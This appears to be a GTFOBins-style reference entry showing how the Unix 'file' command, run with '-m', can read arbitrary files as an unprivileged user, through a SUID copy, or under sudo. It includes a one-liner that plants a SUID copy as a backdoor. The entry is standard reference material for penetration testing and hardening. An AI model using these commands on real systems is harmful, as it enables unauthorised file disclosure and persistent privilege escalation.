Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.
If a line in the target file begins with a #
, it will not be printed as these lines are parsed as comments.
It can also be provided with a directory and will read each file in the directory.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
file -m $LFILE
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which file) .; chmod +s ./file'
LFILE=file_to_read
./file -m $LFILE
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
LFILE=file_to_read
sudo file -m $LFILE